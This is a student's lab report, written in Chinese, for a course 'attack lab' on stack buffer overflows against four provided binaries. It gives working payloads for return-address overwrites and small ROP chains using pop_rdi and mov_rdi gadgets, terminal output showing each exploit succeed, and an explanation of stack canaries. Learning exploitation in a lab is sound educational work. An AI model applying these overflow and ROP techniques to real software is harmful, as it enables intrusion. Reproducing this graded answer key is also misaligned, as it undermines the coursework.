

栈溢出攻击实验

姓名：林心悦

学号：2024201634

题目解决思路

Problem 1:

- 分析：

main函数调用func函数，func函数中有一个strcpy函数。于是想到利用strcpy没有拷贝长度限制的特点让指令跳转到func1处。

读汇编代码可知，func函数中strcpy的拷贝位置为`-0x8(%rbp)`。因此可以用字符A来占16个位置，然后把func1的地址401216放在其后

- 解决方案：

```
padding = b"A" * 16
func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"
payload = padding+ func1_address
```

- 结果：

```
linlin@linlin:~/attacklab/attack-lab-linlin3515$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
```

Problem 2:

- 分析：

进入func函数之后，会调用一个memcpy函数，copy的字节长度限制为0x38，可以覆盖旧rbp值和返回地址。

在pop_rdi中，我们可以把存储旧rbp位置处的值取出赋给rdi。在func2中，函数比较rdi与0x3f8，如果相等，则会调用正确的printf函数。

因此，这道题有2个思路：

1. 把旧rbp处的值覆盖成0x3f8，func函数返回地址为pop_rdi的地址，再之前的8字节为func2的起始地址。于是执行完func后，函数先跳转到pop_rdi，把rdi赋值为0x3f8。然后再跳转到func2函数的开头，判断出rdi与0x3f8相等，于是跳转到正确的位置。
2. 直接把func函数返回地址设为func2中正确分支的地址，func函数返回后直接跳到正确分支上调用正确printf函数。

- 解决方案：

1. 先跳转到pop_rdi，再跳转到func2函数的开头。

```
padding = b'A' * 8
rdi_value = b"\xf8\x03\x00\x00\x00\x00\x00\x00"
pop_rdi_address = b"\xbb\x12\x40\x00\x00\x00\x00\x00"
func2_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"
payload = padding + rdi_value + pop_rdi_address + func2_address
```

2. 直接跳转到func2的正确分支上

```
padding = b'A' * 16
func2_address = b"\x4c\x12\x40\x00\x00\x00\x00\x00"
payload = padding + func2_address
```

- 结果：

```
linlin@Linlin:~/attacklab/attack-lab-linlin3515$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

Problem 3:

- 分析：

可以在func函数中通过memcpy来进行栈溢出攻击。注意到func1中需要令%edi=0x72，才能输出正确字符串；同时由于代码需要把数存到-0x44(%rbp)等位置的栈上，%rbp的值需要是一个正确或至少合理的值。

在move_rdi函数中，我们可以直接跳转到4012e6位置，执行下面三行代码，这样就可以设置%rdi的值。

```
4012e6: 48 8b 45 f8      mov     -0x8(%rbp),%rax
4012ea: 48 89 c7         mov     %rax,%rdi
4012ed: c3             ret
```

对于%rbp设置，可以先在gdb中设断点找到原始%rbp的地址，然后把旧rbp位置覆盖成一个合理的栈地址，该地址-8的位置覆盖上%rdi的目标值：0x72。

不过还有另一个思路，就是直接把返回地址覆盖成func1的正确分支。这时，rbp的值设置可以更加随意一点，只要合理就行。

- 解决方案：

1. 先把rdi赋值为0x72，再跳转到func1的开头

```
padding = b'A' * 24
stack_address = b"\xd0\xd7\xff\xff\xff\x7f\x00\x00"
func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"
mov_rdi_address = b"\xe6\x12\x40\x00\x00\x00\x00\x00"
number = b"\x72\x00\x00\x00\x00\x00\x00\x00"
payload = padding + number + stack_address + mov_rdi_address + func1_address
```

2. 直接跳转到func1的正确分支上

```
padding = b'A' * 32
stack_address = b"\x00\xdc\xff\xff\xff\x7f\x00\x00"
func1_address = b"\x2b\x12\x40\x00\x00\x00\x00\x00"
payload = padding + stack_address + func1_address
```

- 结果：

```
linlin@linlin:~/attacklab/attack-lab-linlin3515$ gdb --args problem3 ans3.txt
Find the GDB manual and other documentation resources online at:
  <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from problem3...
(gdb) run
Starting program: /home/linlin/attacklab/attack-lab-linlin3515/problem3 ans3.txt

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.ubuntu.com>
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
[Inferior 1 (process 150369) exited normally]
```

Problem 4:

- 分析：体现canary的保护机制是什么

main函数中使用凯撒解密的方法来解密了两个字符串，并要求输入3次，不过只有最后一次输入是重要的，因为它会设置调用func的参数edi。

func函数对传入参数%edi有两处限制。一是将它与0xffffffff按照无符号方式比大小，如果小于这个值则返回。如果大于这个值，则进入循环，最终令edi的值（准确来说，是存edi值的位置的值）-0x7fffffe，并将其与1比较。如果它不等于1，则输出"No! I will let you fail!"后返回；如果它等于1，则进入func1输出"great! I will give you great scores"。因此，应该输入-1。

canary保护机制：在problem1、2、3中，我使用栈溢出的方式来攻击代码，把目标地址填在原函数发返回地址处。然而，在caesar_decrypt、func和func1的开头和结尾都有几行代码：

```
mov    %fs:0x28,%rax
mov    %rax,-0x8(%rbp)
.....
sub    %fs:0x28,%rax
je
```

如果-0x8(%rbp)的值不为%fs:0x28，就会触发stack fail警报。我们难以知道%fs:0x28的值，而栈溢出需要先破坏金丝雀，所以它可以有效保护程序运行安全。

- 解决方案：

```
hi please tell me what is your name?
lin
hi! do you like ics?
yes
if you give me enough yuanshi,I will let you pass!
-1
```

- 结果：

```
linlin@Linlin:~/attacklab/attack-lab-linlin3515$ ./problem4
hi please tell me what is your name?
lin
hi! do you like ics?
yes
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

思考与总结

attacklab难度相对较低，也有可能是经过bomblab和期末复习的轰炸后阅读汇编代码能力有些许提升。最终用时约为6小时完成。